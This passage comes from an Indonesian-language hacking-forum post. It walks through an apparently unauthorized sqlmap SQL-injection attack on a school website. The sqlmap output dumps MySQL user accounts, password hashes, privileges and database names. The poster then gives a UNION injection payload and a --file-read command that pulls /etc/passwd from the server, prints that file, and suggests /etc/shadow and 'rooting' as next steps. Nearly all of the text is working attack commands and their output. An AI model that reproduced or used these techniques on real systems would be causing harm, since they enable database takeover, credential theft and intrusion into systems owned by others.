[15:07:49] [INFO] retrieved: "'library'@'localhost'"
[15:07:49] [INFO] retrieved: "'library'@'localhost'"
[15:07:49] [INFO] retrieved: "'library'@'localhost'"
[15:07:49] [INFO] retrieved: "'library'@'localhost'"
[15:07:49] [INFO] retrieved: "'library'@'localhost'"
[15:07:50] [INFO] retrieved: "'library'@'localhost'"
[15:07:50] [INFO] retrieved: "'library'@'localhost'"
[15:07:50] [INFO] retrieved: "'library'@'localhost'"
[15:07:50] [INFO] retrieved: "'library'@'localhost'"
[15:07:50] [INFO] retrieved: "'library'@'localhost'"
[15:07:50] [INFO] retrieved: "'library'@'localhost'"
[15:07:50] [INFO] retrieved: "'library'@'localhost'"
[15:07:50] [INFO] retrieved: "'debian-sys-maint'@'localhost'"
[15:07:50] [INFO] retrieved: "'oc_admin'@'localhost'"
[15:07:51] [INFO] retrieved: "'oc_admin'@'%'"
[15:07:51] [INFO] retrieved: "'library'@'localhost'"
[15:07:51] [INFO] retrieved: "'library'@'localhost'"
[15:07:51] [INFO] retrieved: "'library'@'localhost'"
[15:07:52] [INFO] retrieved: "'library'@'localhost'"
database management system users [7]:
[*] 'debian-sys-maint'@'localhost'
[*] 'library'@'localhost'
[*] 'oc_admin'@'%'
[*] 'oc_admin'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'server'
[15:07:52] [INFO] fetching database users password hashes
[15:07:52] [INFO] the SQL query used returns 7 entries
[15:07:52] [INFO] starting 7 threads
[15:07:53] [INFO] retrieved: "root","*6343601E5E5D0FFAA9FE22C06FF88E0B13ECD1D1"
[15:07:53] [INFO] retrieved: "root","*6343601E5E5D0FFAA9FE22C06FF88E0B13ECD1D1"
[15:07:53] [INFO] retrieved: "debian-sys-maint","*6F4206F637A11473935FBB1ED9F22F7CE57EC2D5"
[15:07:53] [INFO] retrieved: "root","*6343601E5E5D0FFAA9FE22C06FF88E0B13ECD1D1"
[15:07:53] [INFO] retrieved: "oc_admin","*A9D8F41C8AA3FFA9E15A2FD54FDC2AA699C736FC"
[15:07:53] [INFO] retrieved: "oc_admin","*A9D8F41C8AA3FFA9E15A2FD54FDC2AA699C736FC"
[15:07:53] [INFO] retrieved: "library","*101ACA569BAF86A18E80B55697C0122597459843"
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
[15:10:32] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/pentest/database/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[15:10:38] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[15:10:40] [INFO] starting dictionary-based cracking (mysql_passwd)
[15:10:40] [INFO] starting 2 processes
[15:11:10] [WARNING] no clear password(s) found
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *6F4206F637A11473935FBB1ED9F22F7CE57EC2D5
[*] library [1]:
password hash: *101ACA569BAF86A18E80B55697C0122597459843
[*] oc_admin [1]:
password hash: *A9D8F41C8AA3FFA9E15A2FD54FDC2AA699C736FC
[*] root [1]:
password hash: *6343601E5E5D0FFAA9FE22C06FF88E0B13ECD1D1
[15:11:10] [INFO] fetching database users privileges
[15:11:10] [INFO] the SQL query used returns 137 entries
[15:11:10] [INFO] starting 10 threads
[15:11:10] [INFO] retrieved: "'root'@'localhost'","UPDATE"
[15:11:10] [INFO] retrieved: "'root'@'localhost'","SELECT"
[15:11:10] [INFO] retrieved: "'root'@'localhost'","DROP"
[15:11:10] [INFO] retrieved: "'root'@'localhost'","DELETE"
[15:11:10] [INFO] retrieved: "'root'@'localhost'","CREATE"
[15:11:10] [INFO] retrieved: "'root'@'localhost'","RELOAD"
[15:11:11] [INFO] retrieved: "'root'@'localhost'","INSERT"
[15:11:11] [INFO] retrieved: "'root'@'localhost'","SHUTDOWN"
[15:11:11] [INFO] retrieved: "'root'@'localhost'","SHOW DATABASES"
[15:11:11] [INFO] retrieved: "'root'@'localhost'","REFERENCES"
[15:11:11] [INFO] retrieved: "'root'@'localhost'","INDEX"
[15:11:11] [INFO] retrieved: "'root'@'localhost'","LOCK TABLES"
[15:11:11] [INFO] retrieved: "'root'@'localhost'","PROCESS"
[15:11:11] [INFO] retrieved: "'root'@'localhost'","FILE"
[15:11:11] [INFO] retrieved: "'root'@'localhost'","EXECUTE"
[15:11:12] [INFO] retrieved: "'root'@'localhost'","REPLICATION SLAVE"
[15:11:12] [INFO] retrieved: "'root'@'localhost'","CREATE VIEW"
[15:11:12] [INFO] retrieved: "'root'@'localhost'","SHOW VIEW"
[15:11:12] [INFO] retrieved: "'root'@'localhost'","CREATE ROUTINE"
[15:11:12] [INFO] retrieved: "'root'@'localhost'","ALTER ROUTINE"
[15:11:12] [INFO] retrieved: "'root'@'localhost'","SUPER"
[15:11:12] [INFO] retrieved: "'root'@'localhost'","CREATE TEMPORARY TABLES"
[15:11:12] [INFO] retrieved: "'root'@'localhost'","TRIGGER"
[15:11:12] [INFO] retrieved: "'root'@'server'","UPDATE"
[15:11:12] [INFO] retrieved: "'root'@'server'","INSERT"
[15:11:13] [INFO] retrieved: "'root'@'localhost'","REPLICATION CLIENT"
[15:11:13] [INFO] retrieved: "'root'@'server'","DELETE"
[15:11:13] [INFO] retrieved: "'root'@'server'","CREATE"
[15:11:13] [INFO] retrieved: "'root'@'localhost'","ALTER"
[15:11:13] [INFO] retrieved: "'root'@'server'","DROP"
[15:11:13] [INFO] retrieved: "'root'@'server'","RELOAD"
[15:11:13] [INFO] retrieved: "'root'@'server'","SHUTDOWN"
[15:11:13] [INFO] retrieved: "'root'@'localhost'","CREATE USER"
[15:11:13] [INFO] retrieved: "'root'@'localhost'","EVENT"
[15:11:14] [INFO] retrieved: "'root'@'server'","SHOW DATABASES"
[15:11:14] [INFO] retrieved: "'root'@'server'","CREATE TEMPORARY TABLES"
[15:11:14] [INFO] retrieved: "'root'@'server'","LOCK TABLES"
[15:11:14] [INFO] retrieved: "'root'@'server'","ALTER"
[15:11:14] [INFO] retrieved: "'root'@'server'","EXECUTE"
[15:11:14] [INFO] retrieved: "'root'@'server'","FILE"
[15:11:14] [INFO] retrieved: "'root'@'server'","PROCESS"
[15:11:14] [INFO] retrieved: "'root'@'server'","CREATE VIEW"
[15:11:14] [INFO] retrieved: "'root'@'server'","INDEX"
[15:11:14] [INFO] retrieved: "'root'@'server'","REPLICATION CLIENT"
[15:11:15] [INFO] retrieved: "'root'@'server'","REPLICATION SLAVE"
[15:11:15] [INFO] retrieved: "'root'@'server'","SHOW VIEW"
[15:11:15] [INFO] retrieved: "'root'@'server'","REFERENCES"
[15:11:15] [INFO] retrieved: "'root'@'server'","CREATE ROUTINE"
[15:11:15] [INFO] retrieved: "'root'@'server'","CREATE USER"
[15:11:15] [INFO] retrieved: "'root'@'127.0.0.1'","INSERT"
[15:11:15] [INFO] retrieved: "'root'@'server'","SELECT"
[15:11:15] [INFO] retrieved: "'root'@'127.0.0.1'","UPDATE"
[15:11:15] [INFO] retrieved: "'root'@'127.0.0.1'","DELETE"
[15:11:16] [INFO] retrieved: "'root'@'127.0.0.1'","DROP"
[15:11:16] [INFO] retrieved: "'root'@'127.0.0.1'","RELOAD"
[15:11:16] [INFO] retrieved: "'root'@'127.0.0.1'","SHUTDOWN"
[15:11:16] [INFO] retrieved: "'root'@'server'","EVENT"
[15:11:16] [INFO] retrieved: "'root'@'127.0.0.1'","PROCESS"
[15:11:16] [INFO] retrieved: "'root'@'server'","TRIGGER"
[15:11:16] [INFO] retrieved: "'root'@'server'","SUPER"
[15:11:16] [INFO] retrieved: "'root'@'127.0.0.1'","SELECT"
[15:11:16] [INFO] retrieved: "'root'@'127.0.0.1'","CREATE"
[15:11:17] [INFO] retrieved: "'root'@'127.0.0.1'","SHOW DATABASES"
[15:11:17] [INFO] retrieved: "'root'@'127.0.0.1'","SUPER"
[15:11:17] [INFO] retrieved: "'root'@'127.0.0.1'","CREATE TEMPORARY TABLES"
[15:11:17] [INFO] retrieved: "'root'@'127.0.0.1'","LOCK TABLES"
[15:11:17] [INFO] retrieved: "'root'@'127.0.0.1'","FILE"
[15:11:17] [INFO] retrieved: "'root'@'127.0.0.1'","REPLICATION SLAVE"
[15:11:17] [INFO] retrieved: "'root'@'127.0.0.1'","REPLICATION CLIENT"
[15:11:17] [INFO] retrieved: "'root'@'127.0.0.1'","CREATE VIEW"
[15:11:18] [INFO] retrieved: "'root'@'127.0.0.1'","INDEX"
[15:11:18] [INFO] retrieved: "'root'@'127.0.0.1'","CREATE ROUTINE"
[15:11:18] [INFO] retrieved: "'root'@'127.0.0.1'","EXECUTE"
[15:11:18] [INFO] retrieved: "'debian-sys-maint'@'localhost'","INSERT"
[15:11:18] [INFO] retrieved: "'root'@'127.0.0.1'","TRIGGER"
[15:11:18] [INFO] retrieved: "'debian-sys-maint'@'localhost'","SELECT"
[15:11:18] [INFO] retrieved: "'root'@'127.0.0.1'","ALTER ROUTINE"
[15:11:18] [INFO] retrieved: "'root'@'127.0.0.1'","EVENT"
[15:11:18] [INFO] retrieved: "'root'@'127.0.0.1'","CREATE USER"
[15:11:19] [INFO] retrieved: "'debian-sys-maint'@'localhost'","DELETE"
[15:11:19] [INFO] retrieved: "'debian-sys-maint'@'localhost'","CREATE"
[15:11:19] [INFO] retrieved: "'debian-sys-maint'@'localhost'","DROP"
[15:11:19] [INFO] retrieved: "'debian-sys-maint'@'localhost'","RELOAD"
[15:11:19] [INFO] retrieved: "'root'@'server'","ALTER ROUTINE"
[15:11:19] [INFO] retrieved: "'debian-sys-maint'@'localhost'","SHUTDOWN"
[15:11:19] [INFO] retrieved: "'debian-sys-maint'@'localhost'","PROCESS"
[15:11:19] [INFO] retrieved: "'debian-sys-maint'@'localhost'","REFERENCES"
[15:11:19] [INFO] retrieved: "'root'@'127.0.0.1'","REFERENCES"
[15:11:19] [INFO] retrieved: "'debian-sys-maint'@'localhost'","INDEX"
[15:11:20] [INFO] retrieved: "'root'@'127.0.0.1'","SHOW VIEW"
[15:11:20] [INFO] retrieved: "'root'@'127.0.0.1'","ALTER"
[15:11:20] [INFO] retrieved: "'debian-sys-maint'@'localhost'","SUPER"
[15:11:20] [INFO] retrieved: "'debian-sys-maint'@'localhost'","EXECUTE"
[15:11:20] [INFO] retrieved: "'debian-sys-maint'@'localhost'","CREATE TEMPORARY TABLES"
[15:11:20] [INFO] retrieved: "'debian-sys-maint'@'localhost'","FILE"
[15:11:20] [INFO] retrieved: "'debian-sys-maint'@'localhost'","REPLICATION SLAVE"
[15:11:20] [INFO] retrieved: "'debian-sys-maint'@'localhost'","REPLICATION CLIENT"
[15:11:21] [INFO] retrieved: "'debian-sys-maint'@'localhost'","CREATE ROUTINE"
[15:11:21] [INFO] retrieved: "'debian-sys-maint'@'localhost'","SHOW DATABASES"
[15:11:21] [INFO] retrieved: "'debian-sys-maint'@'localhost'","ALTER ROUTINE"
[15:11:21] [INFO] retrieved: "'debian-sys-maint'@'localhost'","EVENT"
[15:11:21] [INFO] retrieved: "'debian-sys-maint'@'localhost'","LOCK TABLES"
[15:11:21] [INFO] retrieved: "'debian-sys-maint'@'localhost'","TRIGGER"
[15:11:21] [INFO] retrieved: "'library'@'localhost'","SELECT"
[15:11:21] [INFO] retrieved: "'library'@'localhost'","INSERT"
[15:11:21] [INFO] retrieved: "'debian-sys-maint'@'localhost'","UPDATE"
[15:11:21] [INFO] retrieved: "'debian-sys-maint'@'localhost'","CREATE VIEW"
[15:11:22] [INFO] retrieved: "'library'@'localhost'","UPDATE"
[15:11:22] [INFO] retrieved: "'debian-sys-maint'@'localhost'","SHOW VIEW"
[15:11:22] [INFO] retrieved: "'library'@'localhost'","PROCESS"
[15:11:22] [INFO] retrieved: "'library'@'localhost'","RELOAD"
[15:11:22] [INFO] retrieved: "'library'@'localhost'","SHUTDOWN"
[15:11:22] [INFO] retrieved: "'library'@'localhost'","DROP"
[15:11:22] [INFO] retrieved: "'library'@'localhost'","FILE"
[15:11:22] [INFO] retrieved: "'library'@'localhost'","REFERENCES"
[15:11:23] [INFO] retrieved: "'library'@'localhost'","CREATE"
[15:11:23] [INFO] retrieved: "'library'@'localhost'","SHOW DATABASES"
[15:11:23] [INFO] retrieved: "'library'@'localhost'","SUPER"
[15:11:23] [INFO] retrieved: "'library'@'localhost'","LOCK TABLES"
[15:11:23] [INFO] retrieved: "'library'@'localhost'","EXECUTE"
[15:11:23] [INFO] retrieved: "'library'@'localhost'","REPLICATION SLAVE"
[15:11:23] [INFO] retrieved: "'library'@'localhost'","REPLICATION CLIENT"
[15:11:23] [INFO] retrieved: "'library'@'localhost'","ALTER"
[15:11:23] [INFO] retrieved: "'library'@'localhost'","DELETE"
[15:11:23] [INFO] retrieved: "'library'@'localhost'","INDEX"
[15:11:24] [INFO] retrieved: "'debian-sys-maint'@'localhost'","ALTER"
[15:11:24] [INFO] retrieved: "'library'@'localhost'","CREATE VIEW"
[15:11:24] [INFO] retrieved: "'library'@'localhost'","CREATE ROUTINE"
[15:11:24] [INFO] retrieved: "'library'@'localhost'","EVENT"
[15:11:24] [INFO] retrieved: "'oc_admin'@'localhost'","USAGE"
[15:11:24] [INFO] retrieved: "'oc_admin'@'%'","USAGE"
[15:11:24] [INFO] retrieved: "'library'@'localhost'","SHOW VIEW"
[15:11:24] [INFO] retrieved: "'library'@'localhost'","ALTER ROUTINE"
[15:11:25] [INFO] retrieved: "'library'@'localhost'","CREATE USER"
[15:11:25] [INFO] retrieved: "'library'@'localhost'","TRIGGER"
[15:11:25] [INFO] retrieved: "'library'@'localhost'","CREATE TEMPORARY TABLES"
[15:11:27] [INFO] retrieved: "'debian-sys-maint'@'localhost'","CREATE USER"
database management system users privileges:
[*] 'debian-sys-maint'@'localhost' (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[*] 'library'@'localhost' (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[*] 'oc_admin'@'%' [1]:
privilege: USAGE
[*] 'oc_admin'@'localhost' [1]:
privilege: USAGE
[*] 'root'@'127.0.0.1' (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[*] 'root'@'localhost' (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[*] 'root'@'server' (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
[15:11:28] [INFO] fetching database names
[15:11:28] [INFO] the SQL query used returns 12 entries
[15:11:28] [INFO] starting 10 threads
[15:11:28] [INFO] retrieved: "information_schema"
[15:11:28] [INFO] retrieved: "dtcenter"
[15:11:28] [INFO] retrieved: "icha"
[15:11:28] [INFO] retrieved: "kurikulum"
[15:11:29] [INFO] retrieved: "learning"
[15:11:29] [INFO] retrieved: "elearning"
[15:11:29] [INFO] retrieved: "library"
[15:11:29] [INFO] retrieved: "pesantren"
[15:11:29] [INFO] retrieved: "smk"
[15:11:29] [INFO] retrieved: "rio"
[15:11:29] [INFO] retrieved: "mysql"
[15:11:30] [INFO] retrieved: "sso"
available databases [12]:
[*] dtcenter
[*] elearning
[*] icha
[*] information_schema
[*] kurikulum
[*] learning
[*] library
[*] mysql
[*] pesantren
[*] rio
[*] smk
[*] sso
[15:11:30] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/xxxxx.sch.id'
[*] shutting down at 15:11:30
[*]
[/hide]
Sudah dilihat kita mendapatkan User dan Password MYSQL Server tersebut !
Langkah selanjutnya kita bisa Login ke database mysql tersebut, dengan command
[hide]
Code:
mysql -u nama_user -h host_server -p password_user
[*]
berhubung password diatas belum ke crack jadinya ane gk bisa demoin yah silahkan demo sendiri. hehehehe
[/hide]
Selanjutnya ane mau coba ambil file /etc/passwd diserver tersebut , dengan perintah
[hide]
Quote:--file-read="/etc/passwd" --hex --threads=10[*]
[*]
sebenernya kita juga bisa ambil file /etc/shadow dan /etc/named.conf dikasus ini ane cuma ambil file /etc/passwd saja.
[/hide]
hasilnya :
Spoiler! :
[hide]
Code:
Doctor0L@Dark:/pentest/database/sqlmap# ./sqlmap.py -u "http://xxxxxx.sch.id/?p=katberita&id=12" --file-read="/etc/passwd" --threads=10 --hex
sqlmap/1.0-dev-b921ff0 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:47:43
[15:47:43] [INFO] resuming back-end DBMS 'mysql'
[15:47:43] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: p=katberita&id=-2201' UNION ALL SELECT NULL,CONCAT(0x7170657571,0x78764f4d76784f574250,0x7176796571),NULL#
---
[15:47:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 11.04 (Natty Narwhal)
web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: MySQL 5
[15:47:43] [INFO] fingerprinting the back-end DBMS operating system
[15:47:44] [INFO] the back-end DBMS operating system is Linux
[15:47:44] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[15:47:46] [INFO] the local file /pentest/database/sqlmap/output/xxxxx.sch.id/files/_etc_passwd and the remote file /etc/passwd has the same size
files saved to [1]:
[*] /pentest/database/sqlmap/output/xxxxxx.sch.id/files/_etc_passwd (same file)
[15:47:46] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/xxxxx.sch.id'
[*] shutting down at 15:47:46
[*]
[/spolier]
Dan WOW !! kita dapat file /etc/passwd
[spoiler]
Code:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:103:108::/var/lib/landscape:/bin/false
server:x:1000:1000:server,,,:/home/server:/bin/bash
openldap:x:104:112:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
freerad:x:105:114::/etc/freeradius:/bin/false
mysql:x:106:115:MySQL Server,,,:/nonexistent:/bin/false
unbound:x:107:116::/var/lib/unbound:/bin/false
proftpd:x:108:65534::/var/run/proftpd:/bin/false
ftp:x:109:65534::/srv/ftp:/bin/false
messagebus:x:110:117::/var/run/dbus:/bin/false
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
[*]
[/hide]
Sampai saat ini ane kira cukup untuk PAWNED Database dengan SQLmap ^^ . Sisanya bisa dilanjutkan dengan teknik-teknik lainnya seperti rooting,dln.
Kekuatan lainnya nyusul yah,Mungkin sisanya temen-temen yang lain ada yang mau nambahin ...
Sekian dan terimakasih
[*][*]
[*]
aduh itu urlnya tolong benerin yah om moderator/admin
Jangan Makan Tulang Kawan | Kurawa |
(This post was last modified: 12-02-2015, 11:55 AM by gnome_selpa.)